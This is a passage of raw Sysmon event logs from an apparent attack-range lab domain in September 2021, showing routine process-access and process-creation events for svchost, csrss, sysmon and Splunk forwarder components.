14:43:32.864{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013685Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:32.864{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013684Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:32.864{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013683Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:32.864{625C326B-67EC-613B-0500-00000000F101}412528C:\Windows\system32\csrss.exe{625C326B-6F14-613B-8F04-00000000F101}692C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000013682Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:32.864{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-6F14-613B-8F04-00000000F101}692C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000013681Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:32.864{625C326B-6F14-613B-8F04-00000000F101}692C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe8.0.2Network monitorSplunk ApplicationSplunk Inc.splunk-netmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=8746B8C1724B67C2B1261446C0CFAA57,SHA256=7EFD09FD383FAA75C5D2990E6DBBFD846AEAA08B7037C7D66B4A0EF2AE0866B3,IMPHASH=7B985F47B35272AD7B5218255ACE7AEC{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x800000000000000013680Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:32.411{625C326B-6F14-613B-8E04-00000000F101}33002880C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+6025c5|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+6020f6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+59e67|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+5b88c|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+8e7d70|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013679Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:32.192{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-6F14-613B-8E04-00000000F101}3300C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013678Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:32.192{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013677Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:32.192{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013676Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:32.192{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013675Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:32.192{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013674Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:32.192{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013673Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:32.192{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013672Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:32.192{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013671Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:32.192{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013670Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:32.192{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013669Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:32.192{625C326B-67EC-613B-0500-00000000F101}4122740C:\Windows\system32\csrss.exe{625C326B-6F14-613B-8E04-00000000F101}3300C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000013668Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:32.192{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-6F14-613B-8E04-00000000F101}3300C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000013667Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:32.193{625C326B-6F14-613B-8E04-00000000F101}3300C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe8.0.2Active Directory monitorsplunk ApplicationSplunk Inc.splunk-admon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=947139F3BB2AB70CAF692A60C7A3A735,SHA256=940554A0170A70F634689CC84B00C51AC0BCF773C9639E1305E3672441FC85C8,IMPHASH=357CEC18833E7FF2ABFB722902B13165{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000038603Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:33.772{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=C4D198304E00986014CDF95A5BE9BC70,SHA256=F5C085667904BC4FEB6C8371CE3298DC3D308E6CA98FCEA46401A8A96EF08EA2,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000038602Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:33.444{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038601Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:33.444{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038600Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:33.444{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038599Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:33.444{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038598Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:33.444{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F15-613B-2907-00000000F001}6596C:\Windows\system32\rundll32.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000038597Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:33.444{7BD73061-65B2-613B-1600-00000000F001}12963256C:\Windows\system32\svchost.exe{7BD73061-6F15-613B-2907-00000000F001}6596C:\Windows\system32\rundll32.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|c:\windows\system32\UBPM.dll+a7a1|c:\windows\system32\UBPM.dll+fa34|c:\windows\system32\UBPM.dll+cdcc|c:\windows\system32\UBPM.dll+d395|c:\windows\system32\UBPM.dll+dc95|c:\windows\system32\UBPM.dll+e9dd|c:\windows\system32\UBPM.dll+e0a4|c:\windows\system32\UBPM.dll+11662|c:\windows\system32\EventAggregation.dll+3fae|c:\windows\system32\EventAggregation.dll+3ea1|c:\windows\system32\EventAggregation.dll+36c9|c:\windows\system32\EventAggregation.dll+332f|c:\windows\system32\EventAggregation.dll+2e28|C:\Windows\SYSTEM32\ntdll.dll+65b55|C:\Windows\SYSTEM32\ntdll.dll+6585d|C:\Windows\SYSTEM32\ntdll.dll+656c0|C:\Windows\SYSTEM32\ntdll.dll+3a7f0|C:\Windows\SYSTEM32\ntdll.dll+1ed03|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038596Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 